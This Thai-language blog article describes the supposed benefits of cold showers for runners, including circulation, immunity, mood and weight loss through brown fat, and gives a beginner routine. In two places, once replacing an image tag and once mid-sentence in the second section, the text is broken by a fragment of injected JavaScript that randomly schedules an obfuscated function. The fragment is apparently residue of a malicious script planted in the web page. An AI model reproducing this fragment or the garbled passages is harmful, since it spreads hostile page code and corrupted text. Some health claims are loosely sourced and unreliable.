การอาบน้ำเย็น...ประโยชน์ที่นักวิ่งอาจยังไม่รู้

ถ้าคุณไม่ชอบการอาบน้ำเย็น คุณกำลังพลาดโอกาสดีๆ ชนิดที่คาดไม่ถึง การอาบน้ำเย็นไม่ใช้วิธีการทรมานร่างกาย แต่เป็นการฝึกฝนให้ร่างกายและจิตใจให้แข็งแกร่งขึ้น เหมือนๆ กับการออกไปวิ่งเลยล่ะ

ประโยชน์ของการอาบน้ำเย็น

1. การอาบน้ำเย็นช่วยให้ระบบไหลเวียนเลือดทำงานดีขึ้น

ถ้าตื่นเช้ามายังรู้สึกเฉื่อยช้าไม่กระปรี้ประเป้า เราแนะนำให้เดินผ่านน้ำเย็นเลยครับ จะสลับน้ำอุ่นเย็นไปมาก็ได้ถ้าทนน้ำเย็นไม่ไหว การอาบน้ำเย็นจะช่วยกระตุ้นให้คุณให้ตื่น Alert เสมือนได้รับกาเฟอีนทีเดียว น้ำเย็นจะเป็นตัวกระตุ้นให้ร่างกายสูบฉีดเลือดไปเลี้ยงร่างกาย ทำให้ความต้องการออกซิเจนสูงขึ้น ผลคือเราต้องเริ่มหายใจให้มากและลึกขึ้นเพื่อต่อสู้กับอาการหนาวเย็น

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander-747448-unsplash.jpg” alt=”” width=”1000″ height=”667″ />

วิธีการผ่านน้ำเย็นสำหรับมือใหม่ที่ใจยังไม่พร้อม

อาบน้ำอุ่นก่อน
เปิดน้ำเย็นแล้วค่อยๆ ให้ช่วงล่าง เท้าและขาโดนน้ำ ไล่ขึ้นมาจนถึงน่องและขาอ่อนเรื่อยๆ เอาให้ห่างหัวใจไว้ก่อนนะ
ย้ายไปที่ช่วงแขน จากมือไล่ไปถึงหัวไหล่
นาทีชีวิต ฉีดหรือรดน้ำเข้าสู่ช่วงกลางลำตัว จากนั้นสลับกับน้ำอุ่น และทำซ้ำตามลำดับขั้นที่กล่าวไว้

เท่านี้นักวิ่งคนไหนที่อยากรู้สึก Alert ในช่วงเช้าและพร้อมที่จะออกวิ่งก็ไม่ควรพลาดที่จะทำดูนะครับ

2. อาบน้ำเย็นช่วยส่งเสริมสุขภาพให้ดีขึ้น

การอาบน้ำเย็นตอนเช้าไม่ใช่แค่ช่วยปลุกให้คุณตื่นหรือช่วยให้การไหลเวียนเลือดดีขึ้นเท่านั้น แต่น้ำเย็นจะช่วยกระตุ้นให้หลอดเลือดมีการยืดหดตัวด้วย (constrict andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and dilate) และยังกระตุ้นระบบภุมิต้านทานให้แข็งแรงขึ้นด้วย สำหรับนักวิ่งการอาบน้ำเย็น จะช่วยลดอาการปวดเมื่อยกล้ามเนื้อและให้ Recovery ได้เร็วขึ้นด้วย

3. ช่วยผ่อนคลายความเครียด

จากการศึกษาของ Virginia Commonwealth University School of Medicine พบว่า การอาบน้ำเย็นช่วยพัฒนาจิตใจผู้ป่วยเป็นโรคซึมเศร้า (Depression) ให้ดีขึ้น ความหนาวเย็นช่วยกระตุ้นเซลล์ประสาทสมองยิงประจุไฟฟ้าให้มากขึ้น ช่วยในการชะล้างอาการซึมเศร้า

ข้อแนะนำ…ให้ค่อยๆ ปรับอุณหภูมิลง ประมาณที่ 20 องศา หรือถ้าต้องการมากกว่านั้นก็ทำได้ เราแนะนำให้อาบน้ำเย็น 1-2 ครั้งต่อวัน ประมาณ 2-3 นาที และติดต่อกัน 2-3 สัปดาห์ต่อเดือน

4. ช่วยในการลดน้ำหนัก

นี้อาจจะเป็นข้อดีสำหรับใครหลายๆ คน เพราะการอาบน้ำเย็นมีผลในการช่วยลดน้ำหนักได้ เพราะเมื่อเราสัมผัสกับอากาศหนาว ร่างกายจะถูกกระตุ้นให้ดึงไขมันมาเผาผลาญ รักษาให้อุณหภูมิร่างกายคงที่ ทั้งนี้ในร่างกายคนจะมีไขมันขาวและไขมันน้ำตาล (White & Brown Fat) ในร่างกาย เจ้าไขมันขาวก็คือก้อนไขมันรอบๆ เอวและพุงที่ยื่นขึ้นมา หากมีมากจะทำให้เป็นโรคเบาหวานได้ แต่เจ้าไขมันน้ำตาล คือ เซลล์ไขมันที่ตรงกันข้ามกับเซลล์ไขมันขาว คือ เจ้าไขมันสีน้ำตาล จะค่อยเผาผลาญไขมันขาวให้เป็นพลังงาน เพื่อนำมาใช้ควบคุมอุณหภูมิของร่างกายในช่วงที่อากาศหนาวเย็น

หมายเหตุกันสักนิด สำหรับใครที่สนใจเรื่องไขมันขาวและน้ำตาล…..ไขมันสีน้ำตาล (Brow Fat) ไขมันชนิดนี้ พบมากในช่วงวัยเด็ก และจะลดลงเรื่อยๆ เมื่ออายุมากขึ้น และนี่คือเหตุผลว่าทำไม ถ้าคุณรับประทานอาหารมากกว่าที่ร่างกายต้องการ จึงได้มีรูปร่างที่เต็มไปด้วยไขมันสีขาว มากกว่าไขมันสีน้ำตาล (ที่มา www.haijai.com)

วิธีที่จะเพิ่มไขมันน้ำตาล อย่างเช่น การออกสัมผัสกับอากาศเย็น เพราะอากาศเย็นสามารถกระตุ้นให้ไขมันสีน้ำตาลทำงานมากขึ้นได้ การควบคุมระดับน้ำตาลในเลือดภายในร่างกาย ไม่ให้สูงด้วยการเลือกรับประทานอาหารที่มีไฟเบอร์สูง โปรตีนสูง และไขมันต่ำ หลีกเลี่ยงอาหารประเภทแป้ง ขนมต่างๆ น้ำตาล และผลไม้ที่มีรสหวาน ก็จะช่วยกระตุ้นให้ร่างกายเปลี่ยนไขมันสีขาวเป็นไขมันสีน้ำตาลได้ และเวทเทรนนิ่งเพิ่มไขมันสีน้ำตาล การเพิ่มมวลกล้ามเนื้อ โดยการออกกำลังกาย แบบใช้แรงต้าน 4-5 ครั้ง / สัปดาห์ พบว่าช่วยเพิ่มไขมันสีน้ำตาลได้ 10-20% เลยทีเดียว

อ้างอิง www.runtastic.com